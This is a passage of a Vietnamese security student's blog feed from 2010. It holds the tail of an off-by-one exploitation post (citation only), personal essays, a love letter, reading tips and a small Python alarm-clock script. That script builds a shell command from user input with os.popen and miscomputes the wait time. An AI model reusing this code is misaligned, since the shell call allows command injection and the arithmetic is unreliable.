tùy máy, tùy hệ điều hành và các phiên bản khác nhau của   compiler.&lt;br /&gt;&lt;br /&gt;Bài viết có tham khảo từ :   http://www.phrack.org/issues.html?id=8&amp;amp;issue=55&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-6740282661654885354?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/6740282661654885354/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/07/off-by-one-overwrite-ebp-with-one-byte_1904.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6740282661654885354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6740282661654885354'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/07/off-by-one-overwrite-ebp-with-one-byte_1904.html' title='Off by one - overwrite ebp with one byte .'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-1275349873111413289</id><published>2010-07-04T00:36:00.000+07:00</published><updated>2010-07-04T00:36:10.190+07:00</updated><title type='text'>Tản mạn : Hạ Sơn !</title><content type='html'>Mấy ngày gần đây, mình vừa ôn thi, vừa dành thời gian quá nhiều cho việc lang thang trên mạng. Tham gia ở vài diễn đàn như Xgroupvn, Vietmatrix, Hcegroup, vniss, ... và hai ba diễn đàn về CC chùa nữa . Mong là trong chuyến hành trình ấy, sẽ kiếm được bạn có cùng chí hướng, nhưng mộng bất thành. Kẻ thì quá ngạo mạng, với chút kiến thức nhỏ tí của mình thì xưng hùng xưng bá, không coi ai ra gì. Một tí thành tích local, deface, cộng với vài cái CC chùa, rồi mua domain, hosting lập nên cho mình một đại bản doanh group&amp;nbsp; này group nọ, hùng cứ một phương, vỗ ngực ta đây oai phong lẫm liệt.&lt;br /&gt;&lt;br /&gt;Nói về phần mình thì cũng rất là rảnh, cũng tham gia thảo luận, cãi cọ đàng hoàng. Nhưng có lẽ cách tiếp cận vấn đề, đề xuất hướng giải quyết vấn đề của mình không phù hợp với các "hắc cờ" ngày nay cho lắm, nên mọi thứ đề đi vào ngỏ cụt và quên lãng.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Có khi điều đó cũng hay, nó giúp mình nhận ra nhiều điều, rồi mới có entry này chứ. Nó giúp mình hiểu được với sức một mình mình, không thể giúp đỡ được tất cả mọi người được . Và rằng với những kẻ chỉ thích thành công nhanh chóng, và mỗi khi đạt được thành công rồi thì không muốn tiếp tục nữa, ngủ quên trên cái vinh quang ảo của chính mình thì nên bỏ mặt đi.&lt;br /&gt;&lt;br /&gt;Mình nhận ra rằng, về cách ứng xử, giao tiếp với cộng đồng của mình còn rất tệ. Nên cởi mở hơn, vui vẻ hơn và đừng dồn người ta vào đường cùng quá. Phải khiêm tốn, và tránh nói năng sổ sàng .&lt;br /&gt;&lt;br /&gt;Về kiến thức thì còn phải trao dồi nhiều hơn nữa. Phải tiếp tục phấn đấu nếu không muốn bị bỏ lại đằng sau.&lt;br /&gt;&lt;br /&gt;Trong thời gian tới, sẽ chấm dứt việc lang thang trên mạng nhiều như vừa qua. Tiếp tục đào sâu vào X và học thêm Crypto. Sang năm hi vọng sẽ đủ nội công thi đấu cùng mấy anh. Và mình còn ôm ấp cả một dự định lớn hơn nữa .&lt;br /&gt;&lt;br /&gt;Lần hạ sơn này là lần hạ sơn đầu tiên, cũng đụng chạm nhiều điều, làm mình thêm quyết tâm hơn. Sắp tới, sẽ lên núi để tiếp tục luyện công, tìm lại giá trị cho chính mình.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-1275349873111413289?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/1275349873111413289/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/07/tan-man-ha-son.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/1275349873111413289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/1275349873111413289'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/07/tan-man-ha-son.html' title='Tản mạn : Hạ Sơn !'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-6732526280295884438</id><published>2010-07-03T00:51:00.002+07:00</published><updated>2010-07-03T00:51:26.100+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>BackTrack ISO Kernel 2.6.34 Upgrade</title><content type='html'>Lâu rồi không dùng backtrack, bữa nay tình cờ lượn qua twitter thì thấy cái này, mang về đây . Lúc nào cần thì tham khảo vậy ;) .&lt;br /&gt;&lt;br /&gt;http://www.offensive-security.com/backtrack/backtrack-kernel-upgrade-2-6-34/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-6732526280295884438?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/6732526280295884438/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/07/backtrack-iso-kernel-2634-upgrade.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6732526280295884438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6732526280295884438'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/07/backtrack-iso-kernel-2634-upgrade.html' title='BackTrack ISO Kernel 2.6.34 Upgrade'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-2856071657502524992</id><published>2010-04-09T15:49:00.008+07:00</published><updated>2010-04-23T01:30:23.160+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><title type='text'>Alarm clock writen in Python</title><content type='html'>Ngủ nướng quá, nên code cái nì báo thứ :) . Sẽ update tiếp các phiên bản sau "chất lượng" hơn .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;System requirement :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Gnome-mplayer (maybe swich to your favor media player)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Internet connection (Default sound, change it if you want)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Python 2.6&lt;br /&gt;&lt;br /&gt;Source code :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: python"&gt;#!/usr/bin/env python&lt;br /&gt;import sys, time, os&lt;br /&gt;import getopt&lt;br /&gt;import datetime&lt;br /&gt;&lt;br /&gt;def usage():&lt;br /&gt;    print '''&lt;br /&gt;Alarm clock v0.1 beta&lt;br /&gt;            &lt;br /&gt;Usage : ./alarm.py -h hour -m minute&lt;br /&gt;Type : --help for more imformation&lt;br /&gt;        '''&lt;br /&gt;link = ""&lt;br /&gt;def gettime():&lt;br /&gt;    try:&lt;br /&gt;        opts, args = getopt.getopt(sys.argv[1:], "h:m:l:",["help"])&lt;br /&gt;    except getopt.GetoptError, err:&lt;br /&gt;        print str(err)&lt;br /&gt;        usage()&lt;br /&gt;        sys.exit(2)&lt;br /&gt;    hour = 7&lt;br /&gt;    minute = 0&lt;br /&gt;    link = "link direct to mp3 file"&lt;br /&gt;    for opt, args in opts:&lt;br /&gt;        if opt == "-h":&lt;br /&gt;            hour = int(args)&lt;br /&gt;        elif opt in ("-m"):&lt;br /&gt;            minute = int(args)&lt;br /&gt;        elif opt in ("--help"):&lt;br /&gt;            usage()&lt;br /&gt;            sys.exit()&lt;br /&gt;        elif opt in ("-l"):&lt;br /&gt;            link = args&lt;br /&gt;        else:&lt;br /&gt;            assert False, "unhandled option"&lt;br /&gt;    print "Program will active alarm time in : %.2d:%.2d" %( hour, minute)&lt;br /&gt;    print "Sound : %s" %link&lt;br /&gt;    now = datetime.datetime.now()&lt;br /&gt;    if (hour - now.hour)&amp;gt;=0 :&lt;br /&gt;        t = (hour - now.hour)*3600&lt;br /&gt;    else:&lt;br /&gt;        t = 24 - (now.hour - hour)*3600&lt;br /&gt;    if (minute -now.minute ) &amp;gt;= 0:&lt;br /&gt;        t = t + (minute - now.minute)*60&lt;br /&gt;    else:&lt;br /&gt;        t = t - (now.minute - minute)*60&lt;br /&gt;    if t&amp;lt;0:&lt;br /&gt;        t = 24*3600 + t&lt;br /&gt;    return t, link&lt;br /&gt;if __name__ == "__main__":&lt;br /&gt;    waitTime, link = gettime()&lt;br /&gt;    time.sleep(waitTime)&lt;br /&gt;    links = "gnome-mplayer %s  --random --loop" % link&lt;br /&gt;    os.popen(links)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;_http://crazyboy.pastebin.com/BjctSLf1&lt;br /&gt;&lt;br /&gt;cb_&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-2856071657502524992?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/2856071657502524992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/04/alarm-clock-writen-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2856071657502524992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2856071657502524992'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/04/alarm-clock-writen-in-python.html' title='Alarm clock writen in Python'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-6521281476664569203</id><published>2010-04-01T08:25:00.004+07:00</published><updated>2010-07-09T00:06:23.997+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social'/><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>Tản mạn: Nói Dối - Cá Tháng Tư!</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_mMaWcZ9ESZI/TDYFTh2E_yI/AAAAAAAABrk/nKv2ZIe6VCw/s1600/FOOLS.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_mMaWcZ9ESZI/TDYFTh2E_yI/AAAAAAAABrk/nKv2ZIe6VCw/s320/FOOLS.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Mỗi ngày đều có ý nghĩa lịch sử và ngày ấy để lại dấu ấn nào đó trong lòng người. Ngày Cá tháng Tư mặc dầu không có lịch sử rõ ràng nhưng ít nhiều gì con người cũng nghe đến ngày này và thi thoảng vẫn "nhắc nhau" ngày này bằng cách nói dối chuyện gì đó cho vui chứ không làm hại đến người khác. Mỗi nền văn hoá có lịch sử kỷ niệm ngày Nói Dối khác nhau nhưng thường vào ngày đầu tiên của mùa Xuân.&lt;br /&gt;&lt;br /&gt;Người ta cho rằng, quê hương của cá tháng tư là ở nước Pháp. Ngày cá tháng tư được "khai sinh" từ thế kỷ 16. Theo cách giải thích này, vào thời kỳ đó, năm mới ở Pháp được tổ chức từ ngày 25/3 đến 1/4. Đến năm 1562, công lịch mới được giáo hoàng Gregory đưa ra với ngày đầu tiên của năm mới là 1/1 và 2 năm sau công lịch này được hoàng đế Henry IX thông qua. Tuy nhiên, có một số người không biết lịch mới mà vẫn tiếp tục tổ chức đón mừng tất niên vào ngày 1/4. Những người này bị bạn bè trêu đùa bằng cách gửi những món quà nghịch ngợm, nói dối họ và thuyết phục họ tin vào những chuyện đó. Những người bị lừa trở thành "April fool" (Kẻ ngốc tháng 4 - Cá tháng tư). Ở Việt Nam, khoảng hơn 10 năm trở lại đây, ngày cá tháng tư đã được chấp nhận và nhanh chóng trở thành cơ hội để mọi người cùng chia sẻ các bất ngờ thú vị.&lt;br /&gt;&lt;br /&gt;Nói dối là hành vi cố tình cung cấp thông tin sai sự thật về vấn đề nào đó để người nói dối đạt được mục đích mà họ mong muốn - thường là không chính đáng. Người nói dối luôn tạo môi trường giống như thật, tạo mọi cử chỉ, hành động để đối tượng tin vào những gì họ đang nói. Còn với người bị nói dối thì họ thường để lộ những cảm xúc tiêu cực, không ít người nhận thấy mình bị đem ra làm trò đùa. Trong trường hợp họ bị nói dối mà không phát hiện ra thực tế phũ phàng, thì họ rất quan tâm đến hậu quả của sự nói dối sẽ xảy ra ra sao.&lt;br /&gt;&lt;br /&gt;Vậy là khi người thông tin mong muốn người khác hiểu lệch lạc về một vấn đề, sự kiện, hoặc mong muốn đạt được điều gì đó (thường là quyền lợi vật chất, vị trí công tác, biện minh cho việc làm xấu cho của mình, cạnh tranh không lành mạnh trong kinh doanh...) nhờ thông tin sai sự thật, bịa chuyện thì nói dối xuất hiện. Người nói dối nhiều lần, không quan tâm hoặc bất chấp hậu quả xấu có thể xảy ra cho nhiều người khác thì thường được gọi là trí trá. Xã hội, cộng đồng thường tỏ ý khinh ghét, xa lánh những người nói dối kiểu này.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_mMaWcZ9ESZI/TDYFdWaCNCI/AAAAAAAABrs/5MMDCkkICqE/s1600/iahsr1270088345.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_mMaWcZ9ESZI/TDYFdWaCNCI/AAAAAAAABrs/5MMDCkkICqE/s320/iahsr1270088345.gif" width="306" /&gt;&lt;/a&gt;&lt;/div&gt;Không ngờ, với phương Tây, người ta kỷ niệm cái ngày này và trêu nhau một chút cho vui còn với người Việt thì ngược lại. Chuyện đùa vui ở Tây Phương lại trở thành căn bệnh trầm kha của một số người Việt. Người Tây Phương họ thường rất thẳng thắn, đâu ra đó và họ không hề sợ mất lòng khi nói thẳng, nói thật. Người Việt thì bị cái vỏ bọc bên ngoài che chắn quá lớn để rồi khi ai nào đó nói thẳng, nói thật, góp ý với mình thì mình xừng cồ lên với sự góp ý đó. Từ cái chuyện không dám nói thẳng nói thật đâm sinh ra cái tật xấu nữa là nói xấu nhau.&lt;br /&gt;&lt;br /&gt;Người ta vẫn thường đùa với nhau:&lt;br /&gt;&lt;br /&gt;Thật thà thẳng thắn thường thua thiệt,&lt;br /&gt;&lt;br /&gt;Lọc lừa lươn lẹo lại lên lương.&lt;br /&gt;&lt;br /&gt;Đùa nhưng mà đúng đấy ! Thử hỏi trong xã hội hiện nay những người sống thẳng, sống thật xem hậu quả sẽ như thế nào ? Còn với những người lọc lừa lươn lẹo ấy thì ngày lại ngày cứ thăng quan tiến chức !&lt;br /&gt;&lt;br /&gt;Với lối sống ích kỷ và giả tạo để rồi người ta không còn ngần ngại hứa lèo, hứa lần, hứa hồi và nói dối trở thành thói quen trong cuộc sống.&lt;br /&gt;&lt;br /&gt;Lớn nói dối theo lớn, nhỏ nói dối theo nhỏ. Không biết có quá đáng chăng bây giờ đi tìm người nói thật khó quá ! Vì lẽ nói thật, nói thẳng thường hay bị ganh ghét, đố kỵ. "Thuốc đắng dã tật, sự thật mất lòng" ! Vì sợ mất lòng nên nhiều người đã sợ làm mất lòng người khác nên đành né đi bằng cách nói dối để làm hài lòng đối phương. Mà cũng khổ, biết nói dối là điều xấu, là điều không ai thích nhưng dần dần chuyện nói dối xảy ra quá nhiều trong xã hội nên nói dối đâm ra là "chuyện thường ngày ở huyện".&lt;br /&gt;&lt;br /&gt;Cách đây không lâu, có việc xuống Cần Thơ. Dân "Hai Lúa" lâu lâu mới có dịp ngồi trên xe "tốc hành", "Hai Lúa" vào bến xe Miền Tây, hỏi và mua được chiếc vé đi Cần Thơ của hãng xe KL. Nhân viên bán vé bảo 16 giờ 00 xe xuất bến nhưng chờ mãi đến 17 g 15 xe chưa xuất bến. Thế là đành mất 80.000 cho vé xe KL để chuyển qua xe ML vì có khách đi xe ML bỏ chỗ ! Lần sau có cho thêm tiền chẳng bao giờ tôi đi xe KL nữa.&lt;br /&gt;&lt;br /&gt;Đi xe khách bị trễ thì còn thông cảm được, đàng này đi máy bay mà cứ bị trễ hoài. Báo chí vẫn nói lên tiếng nói của người dân về hãng X trễ hẹn. Mới đây thôi, chuyến bay từ Vinh vào Sài Gòn bị trễ mà đến phút chót hành khách mới được thông báo, hơn 20 đứa trẻ lây lất trong sân bay để chờ chuyến bay "đến hẹn lại trễ" của hãng hàng không X. Trễ hẹn hoài nên đâm ra chuyện hứa lèo, chuyện nói dối của hãng hàng không ấy cũng chẳng còn lạ gì với hành khách.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Những đoạn đường đang vướng mắc lô-cốt được mấy con đường hoàn thành đúng tiến độ ...&lt;br /&gt;&lt;br /&gt;Còn biết bao nhiêu và biết bao nhiêu chuyện nói dối xảy ra trong cuộc đời, trong xã hội.&lt;br /&gt;&lt;br /&gt;Lúc đầu, người ta con tin tưởng vào lời hứa nhưng dần dần người ta có một cái kinh nghiệm là chẳng bao giờ lời hứa ấy được thực hiện. Tất cả những lời hứa ấy đều chờ đợi một câu: Hãy đợi đấy ! Người dân đợi hoài, đợi mãi riết rồi cũng thành thói quen. Kêu chi cho mệt, gào chi cho khổ ! Thôi thì cứ nhắm mắt chờ. Ngày nào nó xong thì biết nó xong chứ chờ đợi chi vào "lời nói dối như cuội" ấy !&lt;br /&gt;&lt;br /&gt;Nhiều và nhiều việc khác chắc không cần nói ra thì ai ai cũng biết cả. "Thượng bất chính - hạ tất loạn" là hậu qủa bình thường của những người có trách nhiệm mà hứa lèo, hứa cụi. Người cầm quyền, người có trách nhiệm mà nói dối thì ở dưới làm sao không nói dối được.&lt;br /&gt;&lt;br /&gt;Thẳng thắn - thật thà thường vẫn thường thua thiệt so với người nói dối, người lươn lẹo. Thật thà - dối trá vẫn là hai mặt của đồng tiền, hai mặt của vấn đề mãi mãi tồn tại trong xã hội. Thật thà - dối trá vẫn luôn là lựa chọn dành cho con người. Chớ gì thấy được hậu quả của lối sống dối trá, của những người nói dối đã gây biết bao nhiêu thiệt hại cho anh chị em đồng loại để ngày mỗi ngày con người sống thật với nhau hơn, sống chân thành với nhau hơn.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3333ff; font-weight: bold;"&gt;Rất lâu rồi, mình cứ canh canh mãi vấn đề này . Cứ ngỡ rằng họ chỉ nói dối nhất thời, nhưng không, đọc xong bài trên thì ngỡ ra mình thật ngớ ngẩn . Mọi người đều như vậy, đều sống giả cả, cứ phải mang cái mác vào mình mới chịu được . Và đến bây giờ, có khi ngày Cá Tháng Tư này trở thành ngày "nói thật" của người Việt cũng nên .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;from Internet&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-6521281476664569203?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/6521281476664569203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/04/tan-man-noi-doi-ca-thang-tu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6521281476664569203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6521281476664569203'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/04/tan-man-noi-doi-ca-thang-tu.html' title='Tản mạn: Nói Dối - Cá Tháng Tư!'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_mMaWcZ9ESZI/TDYFTh2E_yI/AAAAAAAABrk/nKv2ZIe6VCw/s72-c/FOOLS.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-5148923987836575062</id><published>2010-03-28T19:21:00.003+07:00</published><updated>2010-04-05T20:57:40.799+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><category scheme='http://www.blogger.com/atom/ns#' term='love'/><title type='text'>Gửi cô bạn của tôi</title><content type='html'>Cô bạn thân mến của tôi,&lt;br /&gt;&lt;br /&gt;Đã đến lúc tôi cần phải có bạn gái. Tôi biết rằng bạn đang ở đâu đó. Đừng lo gì cả, tôi sẽ tìm ra bạn thôi. Và khi tìm ra bạn, tôi hy vọng rằng bạn sẽ yêu tôi vì tôi là Derek chứ không phải là em trai của Mike. Tôi hy vọng là bạn sẽ không bối rối khi tôi mặc quần áo không hợp thời trang, hay bực bội khi tôi bỏ qua chương trình phim truyền hình được nhiều bạn trẻ yêu thích.&lt;br /&gt;&lt;br /&gt;Tôi mong rằng bạn sẽ nhớ tôi chơi đá banh chứ không phải là bóng bầu dục, tôi ở vị trí trung vệ chứ không phải hậu vệ. Và mỗi cuối tuần, tôi đều ở chơi với ba tôi. Tôi nguyện rằng bạn sẽ yêu tôi, dù cho tôi thường quên mất ngày sinh của mình, và nếu cha mẹ bạn mời tôi ăn tối, bạn hãy viết tên của họ thật nhỏ trên bàn tay tôi, để tôi nhìn mỗi khi lỡ quên.&lt;br /&gt;&lt;br /&gt;Xin bạn biết rằng tôi thường hành động mạnh mẽ và tỏ ra tự chủ, nhưng trong thâm tâm, tôi thật sự bối rối và mất phương hướng (xin đừng nói điều này cho các bạn tôi biết nhé). Xin bạn đừng lo nếu tôi lướt ván bị thương. Thay vào đó, bạn hãy ở bên cạnh để xoa dịu vết thương bằng các nụ hôn.&lt;br /&gt;&lt;br /&gt;Bạn hãy hiểu rằng yêu thương nhau là được ở bên cạnh nhau, nhưng không phải lúc nào cũng vậy. Chúng ta không bao giờ nên canh giữ bạn bè chúng ta. Bạn cũng cần hiểu rằng đôi khi tôi cũng ganh tỵ, nhưng bởi chỉ vì tôi cảm thấy bất an chứ không bởi vì bạn đang làm gì đó sai quấy.&lt;br /&gt;&lt;br /&gt;Và nếu chúng ta không còn yêu thương nhau nữa, xin bạn đừng ghét tôi. Nếu tôi khóc trước mặt bạn, xin đừng cười nhạo tôi. Tôi vốn rất nhạy cảm và vụng về như nhiều thằng con trai khác.&lt;br /&gt;&lt;br /&gt;Bạn hãy chân thành với tôi. Rốt cuộc, tôi chỉ là một cậu con trai. Tôi hứa sẽ luôn luôn thành thật với bạn bởi bạn đáng được như vậy. Tôi hứa là sẽ luôn mở cửa cho bạn, mời bạn đi xem hát. Ồ không, bạn không mập đâu, vậy nên đừng hỏi tôi những câu như vậy. Bạn cũng không cần dùng son phấn. Bạn đừng bối rối mỗi khi để một kiểu đầu mới mà tôi không chú ý. Tôi luôn yêu quí bạn, ngay cả lúc bạn mặt quần jean áo thun.&lt;br /&gt;&lt;br /&gt;Tôi hy vọng bạn không cho là tôi đang đòi hỏi bạn quá nhiều. Tôi chỉ vui khi nhìn thấy bạn sung sướng. Tôi đang đi tìm bạn đây, vậy nên bạn đừng đi đâu cả. Bạn hãy ở tại chỗ, dù mình có là ai. Và bạn cũng đừng quên rằng, tên tôi là Derek .&lt;br /&gt;&lt;br /&gt;Chân thành&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Mượn thư của bạn Derek tí nha :D .&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-5148923987836575062?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/5148923987836575062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/03/gui-co-ban-cua-toi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/5148923987836575062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/5148923987836575062'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/03/gui-co-ban-cua-toi.html' title='Gửi cô bạn của tôi'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-5896782915800163009</id><published>2010-03-03T22:50:00.007+07:00</published><updated>2010-03-03T23:20:27.292+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='studying'/><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>How to read technical books ?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_mMaWcZ9ESZI/S46LSoV1V9I/AAAAAAAABpk/9Yv7rUb-Hrg/s1600-h/stickreadingissexysm.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 400px;" src="http://4.bp.blogspot.com/_mMaWcZ9ESZI/S46LSoV1V9I/AAAAAAAABpk/9Yv7rUb-Hrg/s400/stickreadingissexysm.jpg" alt="" id="BLOGGER_PHOTO_ID_5444442151720409042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now, i'll share the way to read technical books as well as possible.&lt;br /&gt;&lt;br /&gt;- Reading technical books so hard, so try to read it to learn how to read.&lt;br /&gt;&lt;br /&gt;- Take notes, write down all stuff you understand, this is very important.&lt;br /&gt;&lt;br /&gt;- Try to figure out all thing you got from books and write down.&lt;br /&gt;&lt;br /&gt;- Summarize all you know, write down.&lt;br /&gt;&lt;br /&gt;- Note this, you reading books to solve problems, try solve problems.&lt;br /&gt;&lt;br /&gt;- Anticipate exam questions by writing down your own.&lt;br /&gt;&lt;br /&gt;- Dead orther books .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-5896782915800163009?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/5896782915800163009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/03/how-to-read-technical-books.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/5896782915800163009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/5896782915800163009'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/03/how-to-read-technical-books.html' title='How to read technical books ?'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 